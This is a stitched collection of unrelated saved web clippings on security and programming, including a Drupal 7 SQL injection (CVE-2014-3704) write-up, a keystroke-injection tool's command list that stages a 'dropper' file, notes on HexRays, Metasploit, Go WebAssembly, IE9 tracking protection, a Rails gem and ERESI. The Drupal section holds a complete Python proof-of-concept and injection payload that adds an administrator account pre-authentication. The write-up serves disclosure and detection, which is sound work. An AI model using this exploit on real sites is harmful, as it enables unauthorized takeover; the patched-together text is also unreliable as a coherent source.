\{ "text\_type\_without\_return": "winword" \},

sleep sleep for this amount of \{ "sleep": "5000" \},

file\_base64\_into\_clipboard read this file, convert to base64 and paste into
clipboard \{ "file\_base64\_into\_clipboard": "F:\hacking\dropper.zip" \},

zip\_directory zip the contents of the directory, and put it into dropper.zip,
one directory aboves \{ "zip\_directory":"c:\hacking\todrop" \}

file\_into\_clipboard read file into clipboard, use it for non-binary files \{
"file\_into\_clipboard": "F:\hacking\hack.txt" \},

file\_into\_hex\_into\_clipboard read \(binary\) file, convert into hex, paste
into clipboard \{ "file\_into\_hex\_into\_clipboard": "F:\hacking\dropper.zip"
\},

key\_combo1 simulate the press of one key \{ "key\_combo1": \[ \{ "name":
"DOWN" \} \] \},

key\_combo2 simulate the simultan press of two keys, e.g. win + r \{
"key\_combo2": \[ \{ "name": "LWIN" \} , \{ "name": "VK\_R" \} \] \},

key\_combo3 simulate the simultan press of three keys, e.g. alt + \(i + m\) \{
"key\_combo3": \[ \{ "name": "LMENU" \}, \{ "name": "VK\_I" \}, \{ "name":
"VK\_M" \} \] \},

key\_combo3\_2 simulate the simultan press of three keys, e.g. \(ctrl +
shift\) + v

# rep movsb isn’t memcpy\(\)

**Created:**| _9/3/2011 2:32:54 PM_  
---|---  
**Updated:**| _9/3/2011 2:32:54 PM_  
**Author:**| __  
**Tags:**| _iDA Decompiler_  
  

## rep movsb isn’t memcpy\(\)

August 31, 2011 / ReWolf posted in assembly, programming, reverse engineering
/ No Comments

Some of you probably noticed that **HexRays** translates **rep movsb** opcode
to **memcpy\(\)** function from standard **C** library. In most cases this is
perfectly correct behaviour, but there is at least one example when it will
not work as it should.  

### **Case 1 \(correct\):**

Two different buffers \(not overlapping\), the simplest situation, **rep
movsb** can be translated to **memcpy\(\)** without any troubles.

### Case 2 \(incorrect\):

Behaviour of**memcpy\(\)** for overlapping regions is undefined \(according to
**C** standard library specification\), documentaion suggests to use
**memmove\(\)** function which will check for overlapping buffers.
Neither**memcpy\(\)** nor **memmove\(\)** can be used as a replacement for
**rep movsb**. Below example will show exactly why:

[code]

        char tab[] = "qwertyuiopasdfghjklzxcvbnm";
        char* ptr_src = tab;
        char* ptr_dst = tab + 1;
        size_t sz = 5;
[/code]

Now we want to execute**rep movsb** :

[code]

        mov    esi, ptr_src
        mov    edi, ptr_dst
        mov    ecx, sz
        rep    movsb
[/code]

after execution of this snippet, **tab\[\]** will contain
“qqqqqquiopasdfghjklzxcvbnm”. Above situation is very common in various
decompression algorithms.

Let’s check what we will achieve with **memcpy\(\)** function:

[code]

        memcpy(ptr_dst, ptr_src, sz);
[/code]

http://codepad.org/194EP8Oa

After execution under **GCC 4.1.2** , **tab\[\]** contains
“qqwerruiopasdfghjklzxcvbnm”, which means that compiler optimized memory
operation, and at first it copied 4 bytes with **movsd** , and then 5th byte
was copied with **movsb**. Different compiler may produce different results,
because \(as it was mentioned earlier\) behaviour of **memcpy\(\)** is
undefined for overlapping buffers.

Last check will use **memmove\(\)** function:

[code]

        memmove(ptr_dst, ptr_src, sz);
[/code]

http://codepad.org/ZYBD474T

After execution under **GCC 4.1.2** , **tab\[\]** contains
“qqwertuiopasdfghjklzxcvbnm”, which was expected.

Summing up, if you’re trying to decompile some code with **HexRays** and it
still doesn’t work correctly, better check all occurences of **memcpy\(\)**
and if there will be some overlapping buffers, change **memcpy\(\)** to plain
loop \(**for** ,**while**\) that will just copy bytes. Of course similar
problems might appear for **rep movsw** and **rep movsd** instructions.

Share|

# Tonights Metasploit links - Rory.Blog

**Created:**| _5/8/2009 8:05:01 PM_  
---|---  
**Updated:**| _5/8/2009 8:08:11 PM_  
**Author:**| __  
**Tags:**| _Metasploit_  
  

# Tonights Metasploit links

By Rory2 on May 7, 2009 8:45 PM | No Comments | No TrackBacks
Been taking a look at another one of the newer Metasploit features tonight.
WMAP is looking to integrate web application scanning functionality into
Metasploit. There's a couple of good overviews Here, Here and Here

Getting it up and running is a little bit finicky at the moment, as you need
to used a patched copy of ratproxy to collect the base URLs for the scanner
\(quick note is that my fairly new Ubuntu Intrepid install was missing libssl-
dev which is a pre-requisite for compiling ratproxy so worth checking for if
you get make errors when setting it up\).

Once you've gathered URLs and fed them in to the database getting the scanner
to start running is straightforward \(examples in the links at the top so I
won't go into it\). From an initial look, some of the plugins seem to do some
directory/file brute-forcing which can take ages to run, but if it's going on
too long you can use CTRL-C to interrupt just that plug-in and Metasploit will
catch the interrupt gracefully and move on to the next directory or plugin...

  *[May 7, 2009 8:45 PM]: 2009-05-07T20:45:00+00:00

# SecuraBit Episode 32 PDF Love\! | SecuraBit
**Created:**| _5/27/2009 7:35:28 PM_  
---|---  
**Updated:**| _5/27/2009 7:35:41 PM_  
**Author:**| __  
**Tags:**| _Hacks pwnage_  
  

**SecuraBit Episode 32 PDF Love\!**

Dieter talks about how the ifilter will actually allow you to use a pdf to
exploit the system because ifilter uses the windows indexing service. He also
discusses some of the various methods of prevention including his tool called
PDFiD.

**  
Penetration Document Format**  
http://www.flickr.com/photos/packetsense/3549486353/

**Hosts:**  
Anthony Gartner - http://www.anthonygartner.com \- @anthonygartner  
Chris Gerling - http://www.chrisgerling.com \- @hak5chris  
Christopher Mills - http://www.packetsense.net \- @thechrisam

**Guests:**  
Didier Stevens - http://blog.didierstevens.com/

**Links:**  
PDFiD - http://blog.didierstevens.com/2009/03/31/pdfid/  
PDF Tools - http://blog.didierstevens.com/programs/pdf-tools/  
Security Justice - http://securityjustice.com/  
Exotic Liability - http://exoticliability.ning.com/

# Practice your Go WebAssembly with a Game – Adil H – Medium

**Created:**| _3/2/2019 6:18:31 PM_  
---|---  
**Updated:**| _3/2/2019 6:18:31 PM_  
**Author:**| _wishi_  
**Tags:**| _golang wasm_  
  

  

# Practice your Go WebAssembly with a Game

## Elevator Saga ported to Go WASM input

<img src='img/1*JrUX5df-v4D-XEYkB0qNCg.jpeg' width='50' height='50' alt='Go to
the profile of Adil H' />

Adil H

Feb 21·3 min read

A few days ago, I wanted to take **Go WebAssembly** out for a spin, but I
wasn’t sure what to build. Maybe a game ? but I didn’t really want to build a
game from scratch. So I remembered the **Elevator Saga**, a programming game
by Magnus Wolffelt I stumbled upon a few years ago: The goal is to transport
people up and down building floors by controlling elevators, writing the rules
in Javascript. What if I modified it to accept WebAssembly flavoured Go
instead of JS \!

Meet the Go Wasm Elevator Saga. The github repo is available here.

<img src='img/Temp2_6360.jpg' width='75' height='41' /><img
src='img/1*6eQMikI5ylG_i1iCkoJLqA.png' width='700' height='395' />

Go Wasm Elevator Saga

### How it works

I’ve forked the original repository for the purposes of this exercise.

The original JS game is written as a Javascript App that takes the user input
as text, runs a js eval\(\) on it to transform it to a JS object and displays
the results on the screen, moving the elevators accordingly.

In order to accept Go WASM as input we’ll need to compile it server-side. I’ve
built a small **Go API service** that sits behind an Nginx reverse proxy,
takes the user input, creates a .go source file, compiles it to WASM in a new
docker **container** via the **Docker Go API** and returns the output binary
to the browser.

#### Compiling the Go WASM

I’ve written a boilerplate **main.go** file that provides the setup required
for the game to run and makes use of the functions **Init** and **Updated**
that are provided by the user:

<img src='img/Temp2_6362.jpg' width='75' height='75' />

1 | package main  
---|---  
2 |   
3 | import \(  
4 |  "syscall/js"  
5 | \)  
6 |   
7 | func main\(\) \{  
8 |  // exit channel  
9 |  ch := make\(chan struct\{\}\)  
10 |   
11 |  js.Global\(\).Get\("console"\).Call\("log", "Starting Wasm module ..."\)  
12 |   
13 |  // init game callback from user input  
14 |  init := js.NewCallback\(Init\)  
15 |  defer init.Release\(\)  
16 |  // update game callback from user input  
17 |  update := js.NewCallback\(Update\)  
18 |  defer update.Release\(\)  
19 |   
20 |  // exit callback  
21 |  exitWasm := js.NewCallback\(func\(args \[\]js.Value\) \{  
22 |  ch <- struct\{\}\{\}  
23 |  \}\)  
24 |  defer exitWasm.Release\(\)  
25 |   
26 |  // create js objects  
27 |  c := make\(map\[string\]interface\{\}\)  
28 |  c\["init"\] = init  
29 |  c\["update"\] = update  
30 |  js.Global\(\).Get\("GoWasmBuilder"\).Set\("codeObj", c\)  
31 |  js.Global\(\).Get\("GoWasmBuilder"\).Set\("exitWasm", exitWasm\)  
32 |   
33 |  // wait for exit signal  
34 |  <-ch  
35 |  js.Global\(\).Get\("console"\).Call\("log", "Exiting Wasm module ..."\)  
36 | \}  
view raw main.go hosted with ❤ by GitHub

boilerplate go file

The default/starter user input displayed in the game is the following:

<img src='img/Temp2_6362.jpg' width='75' height='75' />

user input go file

The Init and Update functions above are the equivalents of the init and update
functions required by the original game, as documented here
https://didil.github.io/gowasm-elevatorsaga/documentation.html\#docs

#### The API Server

The API/build server takes care of 2 important steps:

  * •Copying the main.go file and the input.go file \(from the HTTP post request\) to a temp folder.
  * •Running a Docker container which will perform the build, passing the previous temp folder as input. The Docker run is done via the Docker API and not via the shell, allowing for safer error handling.

<img src='img/Temp2_6362.jpg' width='75' height='75' />

server go code

#### Dockerfile

The Dockerfile in itself is very simple and equivalent to running the
following command in the directory containing our source files:

[code]

    GOARCH=wasm GOOS=js go build -o app.wasm .
[/code]

<img src='img/Temp2_6362.jpg' width='75' height='75' />

Dockerfile

#### JS Integration

The actual JS/WASM integration is done in this JS file :

<img src='img/Temp2_6362.jpg' width='75' height='75' />

JS integration

The JS code parses the server output, loads it into a WASM module and runs it.

#### Results

We run the game by clicking on Apply and … it works \!

<img src='img/Temp2_6361.jpg' width='75' height='41' />

Go Wasm in action \!

#### Compression

The Nginx reverse proxy performs GZIP compression on the WASM output,
decreasing the size from ~1MB down to **~300KB**. I might revisit the results
with TinyGo at some point as they promise much smaller binaries.

#### Server Side Caching

In the JS code above, you might have noticed the line:

[code]

    let hash = SparkMD5.hash(json);
[/code]

We hash the JSON input, which contains the input code and the compiler version
\(always go1.11.5 at the moment\). We send that hash in the HTTP header _Code-
Hash._ Nginx uses that header to cache WASM output. If you run an input that
has already been compiled, the compiled WASM will return directly from the
Nginx cache and the request will never touch the Go server, decreasing latency
and saving resources. Client Side Caching could also be added in the future.

#### Conclusion

I hope you’ll have fun playing with Go WASM \! Here are a few resources to
help you get started with the syntax:

  * •https://github.com/golang/go/wiki/WebAssembly
  * •https://tutorialedge.net/golang/go-webassembly-tutorial/
  * •https://www.aaron-powell.com/posts/2019-02-04-golang-wasm-1-introduction/
  * •https://medium.freecodecamp.org/webassembly-with-golang-is-fun-b243c0e34f02

  

# Drupal 7 SQL Injection \(CVE-2014-3704\) - Security SiftSecurity Sift

**Created:**| _8/19/2015 11:40:00 AM_  
---|---  
**Updated:**| _8/19/2015 11:40:00 AM_  
**Author:**| __  
**Tags:**| _sql-injection php_  
  

### Introduction

This vuln has been getting a lot of attention, and rightfully so. The good
news is an update is available \(and a supplemental patch has been released as
well\). The bad news is that it’s pre-auth SQLi. The basic problem is the way
Drupal core 7.x versions prior to 7.32 construct a SQL query. Contrary to some
claims, this is not a flaw in the use of prepared statements/parameterized
queries, which are still viable options for preventing SQL injection. The flaw
in this case manifests itself before the prepared statement is constructed and
executed. Let me show you what I mean…

### Basic Vulnerability Overview

The public function query \(found in ../includes/database.inc\) looks as
follows:

12345 | ...<snip>...$this->expandArguments\($query, $args\);$stmt = $this->prepareQuery\($query\); $stmt->execute\($args, $options\);...<snip>...  
---|---  
As you can see, it does use a prepared statement but before doing so calls the
expandArguments function \(also in database.inc\). Here’s an excerpt of that
function:

123456789101112131415161718192021222324 | protected function expandArguments\(&$query, &$args\) \{ $modified = FALSE; ...<snip>... foreach \(array\_filter\($args, 'is\_array'\) as $key => $data\) \{ $new\_keys = array\(\); foreach \($data as $i => $value\) \{ ...<snip>... $new\_keys\[$key . '\_' . $i\] = $value; \} ...<snip>... $query = preg\_replace\('\#' . $key . '\b\#', implode\(', ', array\_keys\($new\_keys\)\), $query\); ...<snip>... // Update the args array with the new placeholders. unset\($args\[$key\]\); $args += $new\_keys; ...<snip>...  
---|---  
Notice how the function parses the $args through the array\_filter function
before incorporating them into the query via the preg\_replace function. This
doesn’t pose a problem if the passed arg is not represented as an array with a
defined key. For example, during login, the name parameter is passed as
follows:

<img src='img/Temp2_2458.png' width='640' height='134' alt='drupal_sqli_0' />

In the case of this login function, the query would be constructed as follows:

SELECT \* FROM \{users\} WHERE name = :name AND status = 1

However, what happens if we were to pass the user parameter as an array with a
defined key? Here’s the query after being processed by expandArguments when
passing name\[0\] instead of name:

SELECT \* FROM \{users\} WHERE name = :name\_0 AND status = 1

As you can see, it incorporated the key value \(0\) directly into the sql
query \(by concatenating it to the parameter name with an underscore\).
Knowing this, we can inject crafted key values to execute SQL injection
attacks. Since the login function is vulnerable, this is a pretty significant
pre-auth vulnerability.

Here’s an example of how this could be used to add a user to the database:

<img src='img/Temp2_2461.png' width='405' height='256' alt='drupal_sqli_3' />

Here’s a look at this query _before_ being processed by the vulnerable
expandArguments function:

SELECT \* FROM \{users\} WHERE name = :name AND status = 1

And after…

1 | SELECT \* FROM \{users\} WHERE name = :name\_0;insert into users values \(99999,'pwnd','$S$DIkdNZqdxqh7Tmufxs8l1vAu0wdzxF//smWKAcjCv45KWjK0YFBg','pwnd@pwnd.pwn','','',NULL,0,0,0,1,NULL,'',0,'',NULL\);\# , :name\_0 AND status = 1  
---|---  
And the result…

<img src='img/Temp2_2459.png' width='454' height='183' alt='drupal_sqli_4' />

This being SQL injection, there are other options for exploit including data
extraction. For example, here is an example of a pre-auth inference-based
attack that extracts the admin user’s password hash.

<img src='img/Temp2_2460.png' width='534' height='451' alt='drupal_sqli_2' />

Of course, success will depend on flood control and other brute-force
protections employed by the site.

### PoC Test Exploit Code and Video

Here’s a PoC script if you want to try the exploit for yourself on a test
instance. All it does is add an admin user with password ‘pwnd’. There’s
really no verification in this basic PoC script that a user is actually added
so you’ll need to log in to check. A quick video demo follows.

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798 | \#\!/usr/bin/python\# drupalSQLi.py -- a simple PoC for the Drupal SQLi vuln \(CVE-2014-3704\) \# Author: Mike Czumak \(T\_v3rn1x\) - @SecuritySift\# You are free to share and/or reuse all or portions of this code as long as it's not for commercial purposes\# Absolutely no warranty or promises of reliability, accuracy, or performance. Use at your own risk import sysimport socketimport urllib, urllib2import argparseimport urlparse class print\_colors: SUCCESS = '\033\[92m' ERROR = '\033\[91m' END = '\033\[0m' \#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\# Args/Usage \#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\# def get\_args\(\): parser = argparse.ArgumentParser\( prog="drupalSQLi.py", formatter\_class=lambda prog: argparse.HelpFormatter\(prog,max\_help\_position=50\), epilog= ''' This script will exploit the Drupal SQL injection vulnerability \(CVE-2014-3704\)  by adding a new user with admin privileges. Password will be \`pwnd\`.'''\) parser.add\_argument\("target", help="URL of target Drupal site"\) parser.add\_argument\("name", help="Username to Add"\) parser.add\_argument\("-u", "--uid", default="99999", help="User Id for new user \(default = 99999\)"\) parser.add\_argument\("-r", "--rid", default="3", help="rid for admin user \(default = 3\)"\) args = parser.parse\_args\(\) return args \#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\# Print Function \#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\# ''' universal print function with formatting '''def print\_msg \(msgtype, msgcontent\): endcolor = print\_colors.END if msgtype == "error": startcolor = print\_colors.ERROR print\("%s\[\!\] ERROR: %s%s" % \(startcolor, msgcontent, endcolor\)\) elif msgtype == "success": startcolor = print\_colors.SUCCESS print\("%s\[\*\] SUCCESS: %s%s" % \(startcolor, msgcontent, endcolor\)\) else: print\("%s" % \(msgcontent\)\) \#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\# EXPLOIT \#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\# ''' SQL Injection Exploit to Add Admin User ''' def pwn\_target\(target, uname, uid, rid\): target = target + "?destination=node" pass\_hash = urllib.quote\_plus\("$S$DIkdNZqdxqh7Tmufxs8l1vAu0wdzxF//smWKAcjCv45KWjK0YFBg"\) \# pass = pwnd create\_user = "name\[0;insert%20into%20users%20values%20\("+uid+",'"+uname+"','"+pass\_hash+"','pwnd@pwnd.pwn','','',NULL,0,0,0,1,NULL,'',0,'',NULL\);\#%20%20\]=test&name\[0\]=test&pass=test&form\_id=user\_login\_block&op=Log+in"; grant\_privs = "name\[0;insert%20into%20users\_roles%20values%20\("+uid+","+rid+"\);\#%20%20\]=test3&name\[0\]=test&pass=test&test2=test&form\_build\_id=&form\_id=user\_login\_block&op=Log+in"; try: req = urllib2.Request\(target, create\_user\) res = urllib2.urlopen\(req\).read\(\) req = urllib2.Request\(target, grant\_privs\) res = urllib2.urlopen\(req\).read\(\) print\_msg\("success", \("Admin user '%s' should now be added with password 'pwnd' and uid of %s\nNavigate to %s and login with these credentials" % \(uname, uid, target\)\)\) except: print\_msg\("error", \( "\[%s\] %s%s" % \(str\(target\), str\(sys.exc\_info\(\)\[0\]\), str\(sys.exc\_info\(\)\[1\]\)\)\)\) \#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\# Main \#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\# def main\(\): print print '=============================================================================' print '| DRUPAL SQL INJECTIION DEMO \(CVE-2014-3704\) |' print '| Author: Mike Czumak \(T\_v3rn1x\) - @SecuritySift |' print '=============================================================================\n' args = get\_args\(\) \# get the cl args pwn\_target\(args.target.strip\(\), args.name.strip\(\), args.uid.strip\(\), args.rid.strip\(\)\) if \_\_name\_\_ == '\_\_main\_\_': main\(\)  
---|---  
Here’s a really short video demo of the above PoC code:

### Conclusion

So what are the takeaways here? Well, of course upgrade or patch your
installation of Drupal if it’s vulnerable. Also, while prepared statements are
important tools in preventing SQL injection, they don’t do much good if you
incorporate untrusted user input into the SQL query first\!

If you haven’t patched yet, you may want to check your logs. The exploit may
trigger an error message that looks something like this:

<img src='img/Temp2_2457.png' width='512' height='313' alt='drupal_sqli_5' />

Check your Drupal logs for similar error messages which may indicate attempted
or successful exploit attempts and look for any new accounts that may have
been created or admin accounts whose passwords may have been changed recently.

Follow @securitysift

### Share this:

  * Google
  * Twitter
  * Facebook
  * LinkedIn
  * Email
  * Pinterest
  * Reddit
  * 

# Killing the rootkit - perfect physical memory process detection

**Created:**| _9/29/2014 3:25:22 PM_  
---|---  
**Updated:**| _9/30/2014 4:02:35 PM_  
**Author:**| __  
**Tags:**| _rootkits Debugging kernel windbg_  
  
  
<img src='img/Macaulay-VB2014.pdf' />  

# Jeremiah Grossman: Internet Explorer 9 ad blocking via "Tracing Protection"
-- no means yes.

**Created:**| _12/9/2010 9:17:26 PM_  
---|---  
**Updated:**| _12/11/2010 11:17:49 AM_  
**Author:**| __  
**Tags:**| _windows security web browser_  
  

### Internet Explorer 9 ad blocking via "Tracing Protection" \-- no means yes.

<img src='img/Temp2_4691.png' />A year ago I began strongly encouraging
Microsoft and Mozilla to include ad blocking technology in their respective
Web browsers. And not just point to an extension like the awesomeness that is
AdBlock Plus, but include it or something exactly like it, as core browser
feature. For security, privacy, and competitive advantage reasons I believed
this to be a really good idea. Still do, in fact.  
  
In a blog post I argued ad blocking technology would be a huge win for
Microsoft \(and users\), in particular by retroactively integrating the
feature in all versions of Internet Explorer \(6, 7, and 8\). Doing so would
attract vast quantities of new users. After all, ad blocking is the most
popular extension type in ALL the browsers, but it also gives them an
attractive differentiator that Google’s business model would never tolerate
matching.  
  
Despite my best efforts, my arguments fell flat. During Blue Hat, Robert
“RSnake” Hansen and I had very productive discussions with the IE & Mozilla
security teams about their browser security plans for the future. Still the
idea of making ad blocking readily available for the end-user was met with
much resistance. The fear was such a feature would conflict with Microsoft’s
own ad serving business, or advertising partners, and may also lead to
potential anti-trust issues. Oh well, we thought. Nothing ventured nothing
gained. As any infosec pro, we can attest, we’re used to getting told “no” by
the business. :\)  
  
Then something really interesting took place last week. The U.S. Federal Trade
Commission \(FTC\) issued a report on protecting consumer privacy online which
recommended that Congress create new online Do-Not-Track legislation and it be
accompanied by a privacy policy feature-set baked into Web browsers. To over
simplify, browsers supporting Do-Not-Track would allow Web surfers to
indicate, presumably through HTTP headers, that they opt-out from being
tracked. Unfortunately user data would still get sent to the tracking company
by nature of the way browsers work \(third-party cookies, etc\), but tracking
companies receiving the do-not-track header would be legally compelled to
respect the users choice.  
  
Then the impossible happened\! Only days after the report was released Dean
Hachamovitch, Corporate Vice President of Internet Explorer, published a
lengthy and technically detailed blog post \(even had a video\) describing
their plans to include an implementation of Do-Not-Track in the yet to be
released Internet Explorer 9. Dean explains...  
  
“We want to develop \(as the recent FTC report put it\) ‘more effective
technologies for consumer control’ and make progress on the report’s
recommendation of ‘a browser-based mechanism through which consumers could
make persistent choices’ regarding tracking.”  
  
The two primary components involved:  

  1. IE9 will offer consumers a new opt-in mechanism \(“Tracking Protection”\) to identify and block many forms of undesired tracking.
  2. “Tracking Protection Lists” will enable consumers to control what third-party site content can track them when they’re online.

Ladies and gentlemen, this is all the framework that is necessary for ad
blocking to function in IE9\! User configurations will also be persistent
across sessions, even when the browser is restarted, which is opposite to how
InPrivate mode behaves. This is huge\! Sure, just like in AdBlock Plus, IE9
users will still need to procure a regularly updated TPS list in order to
block all the known advertisers, but that problem is already long solved.  
  
No way Microsoft slammed out the code from scratch in a few short days because
the FTC made some recommendation. The IE team clearly saw ad blocking as a
good idea despite what they told us before and had ad blocking, errr I mean
Tracking Protection, ready to go. Only they might not have had the juice to
include it because of the aforementioned road blocks.  
  
My speculation is, and I could be WAY off base here, that Microsoft knew
generally what was in the FTC’s report prior to release and was waiting for
publication before announcing Tracking Protection in IE9. That way IE team
could be seen as simply supporting the FTC’s out-out recommendations to
protect user privacy, and who could argue with that, while at the same time
taking the opportunity to implement ad blocking functionality under the same
banner. That way they could get around competing business interests and the
watchful eye of anti-trust regulators. They could say they are “protecting the
user” and “abiding by the FTC,” which they are in both counts. If I’m right,
extremely brilliant move.  
  
I think we’re witnessing the beginning of a whole new chapter in the ongoing
browser war. Now we must ask, when and if Mozilla is going to add the
functionality of their \#1 extension natively into their browser? How can they
now not do so? Can Firefox’s market-share position afford Internet Explorer to
be more advanced in privacy protection features? We’ll have to wait and see
what they say or do. I’m hopeful they’ll come around as Microsoft did. Even
more interesting will be how Google reacts. AdBlock is their most popular add-
on as well. The bottom line is these are very good signs for everyone on the
Web.

# assembler/browsernizer

**Created:**| _7/30/2013 9:23:42 AM_  
---|---  
**Updated:**| _7/30/2013 9:23:42 AM_  
**Author:**| __  
**Tags:**| _web-app-sec ruby browser_  
  

# **B** rowsernizer****

Want friendly "please upgrade your browser" page**?** This gem is for you**.**

You can redirect your visitors to any page you like \(static or dynamic\)**.**
Just specify `config.location` option in initializer file**.**

##  Installation****

Add following line to your `Gemfile`:

[code]

    gem 'browsernizer'
    
[/code]

Hook it up:

[code]

    rails generate browsernizer:install
    
[/code]

Configure browser support in `config/initializers/browsernizer**.** rb`
file**.**

##  Configuration****

Initializer file is pretty self explanatory**.** Here is the default one:

[code]

    Rails.application.config.middleware.use Browsernizer::Router do |config|
      config.supported "Internet Explorer", "9"
      config.supported "Firefox", "4"
      config.supported "Opera", "11**.** 1"
      config.supported "Chrome", "7"
    
      config.location  "/browser.html"
      config.exclude   %r{^/assets}
    end
    
[/code]

It states that IE9+, FF4+, Opera 11**.** 1+ and Chrome 7+ are supported**.**
Non listed browsers are considered to be supported regardless of their
version**.** Unsupported browsers will be redirected to `/browser.html`
page**.**

You can specify which paths you wish to exclude with `exclude` method**.** It
accepts string or regular expression**.** You can specify multiple paths by
calling the `config.exclude` multiple times**.**

If you wish to completely prevent some browsers from accessing website
\(regardless of their version\), just set browser version to `false`**.**

[code]

    config.supported "Internet Explorer", false
    
[/code]

There is also an option to provide block for more advanced checking**.**
Browser object  will be passed to it**.** If you wish to state that _mobile
safari_ is not supported, you can declare it like this:

[code]

    config.supported do |browser|
      **!**(browser.name == "Safari" && browser.mobile**?**)
    end
    
[/code]

Specifying location is optional**.** If you prefer handling unsupported
browsers on your own, you can access browsernizer info from
`request.env['browsernizer']` within your controller**.**

For example, you can set before filter to display flash notice:

[code]

    before_filter :check_browser_support
    
    def check_browser_support
      unless request.env['browsernizer']['supported']
        flash.notice = "Your browser is not supported"
      end
    end
    
[/code]

You can also access `browser` and `version` variables from this env hash**.**

##  Browsers****

You should specify browser name as a string**.** Here are the available
options:

  * Chrome
  * Firefox
  * Safari
  * Opera
  * Internet Explorer

And some less popular:

  * Android
  * BlackBerry
  * iPhone
  * iPod Touch
  * PlayStation Portable
  * QuickTime
  * Apple CoreMedia

Browser detection is done using browser gem **.**

##  Credits and License****

Developed by Milovan Zogovic**.**

This software is released under the Simplified BSD License**.**

****

# Automated Test Generation \(ATG\) - Microsoft Research

**Created:**| _12/7/2012 1:11:48 PM_  
---|---  
**Updated:**| _12/7/2012 1:11:48 PM_  
**Author:**| __  
**Tags:**| _Practical Software Verification bookmark_  
  
  

Automated Test Generation \(ATG\)

We are conducting research on automating software testing using \(static and
dynamic\) program analysis with the goal of building testing tools that are
automatic, scalable and check many properties. Our work combines program
analysis, testing, model checking and theorem proving.

# Overview

We are conducting research on automating software testing using \(static and
dynamic\) program analysis with the goal of building testing tools that are
automatic, scalable and check many properties. Our work combines program
analysis, testing, model checking and theorem proving.

Contact: Patrice Godefroid

# Some Microsoft projects using our technology:

  * SAGE \(internal; see\): hunting for million-dollar security bugs in Microsoft products.
  * Pex: unit testing of .NET managed programs.
  * Yogi: testing and static analysis of Windows device drivers.
  * Vigilante: automatic generation of worm filters.

# Recruiting Opportunities

We are looking for exceptional PhD candidates to join us as interns, any time
of the year, though summer is the typical time for internships. For more
information, please visit our internship website. In addition to applying via
the internship website, please contact Patrice Godefroid with your
application.

# Related Groups

RiSE

Rigorous Software Engineering

  

# EresiHowTo – ERESI – Trac

**Created:**| _12/24/2009 11:43:53 AM_  
---|---  
**Updated:**| _12/24/2009 11:43:57 AM_  
**Author:**| __  
**Tags:**| _bookmark_  
  

<img src='img/Temp2_2759.png' alt='The ERESI Reverse Engineering Software
Interface' />

The ERESI Reverse Engineering Software Interface

Search:

  * Login
  * Help/Guide
  * About Trac
  * Preferences
  * Register

  * Wiki
  * Timeline
  * Roadmap
  * Browse Source
  * View Tickets
  * Search

## Context Navigation

  * Start Page
  * Index
  * History
  * Last Change

* * *
  * Tools
    * elfsh
    * kernsh
    * e2dbg
    * etrace
    * evarista
    * kedbg
  * Libraries
    * libkernsh
    * libelfsh
    * libasm
    * librevm
    * libaspect
    * libedfmt
    * libstderesi
    * libetrace
    * libmjollnir
    * libgdbwrap
  * Documentation
    * Manuals
    * How-to
    * Articles
    * Reports
    * Visual
    * FAQ
  * Contact

  

# ERESI HOW-TO

This document shows how to use ERESI either using its C API or its scripting
primitives. Everything that can be done in scripting can also be done using
the C API. All features present on that page are known to work. If a link is
missing, no testsuite is available for this feature, but the technique is used
within the ERESI code as implemented by one of our tools.

## ERESI language basics

Those features are provided by librevm, the Reverse Engineering Vector
Machine, aka the interpreter of the ERESI language:

  * Using variables and structures in ERESI
  * Defining constants variables and bitfields
  * Dynamic naming of variables
  * Using function parameters
  * Doing looping code
  * Using linked lists and hash tables.
  * Create and habitate manually defined types
  * Declare and using union types
  * Understanding variables copy-semantics with tables and loops.
  * Understanding linearity constraints on variables within loops.
  * Using recursive functions

## Static binary instrumentation

Those features are part of libelfsh used in the ELF shell:

  * Load, unload, and list binary files into the framework \(load and unload commands\)
  * Display the content \(syms, relocs, sections, dynamic, interp, versions, hashs ..\) of an ELF file.
  * Redirect constructors table entries.
  * Redirect destructors table entries.
  * Redirect functions by modifying the Global Offset Table.
  * Adding symbols to an executable.
  * Adding code sections to an executable
  * Adding data sections to an executable.
  * Adding unmapped sections to an executable.
  * Inject compiled C code into an existing binary \(ET\_REL injection technique\).
  * Redirect imported functions using the ALTPLT technique.
  * Redirect internal functions using the CFLOW technique.
  * Redirect access to a basic block \(flowjack command\)
  * Relinking dynamic binary programs \(EXTPLT technique\)
  * Relinking static binary programs \(EXTSTATIC technique\)
  * Remove sections from a binary.
  * Manipulate binary content using strings, data and arithmetic operations on ELF objects.
  * Strip the section header table \(SHT\) and rebuild it.

## Static binary code analysis

Those features are part of libasm and libmjollnir used in the Evarista
analyzer:

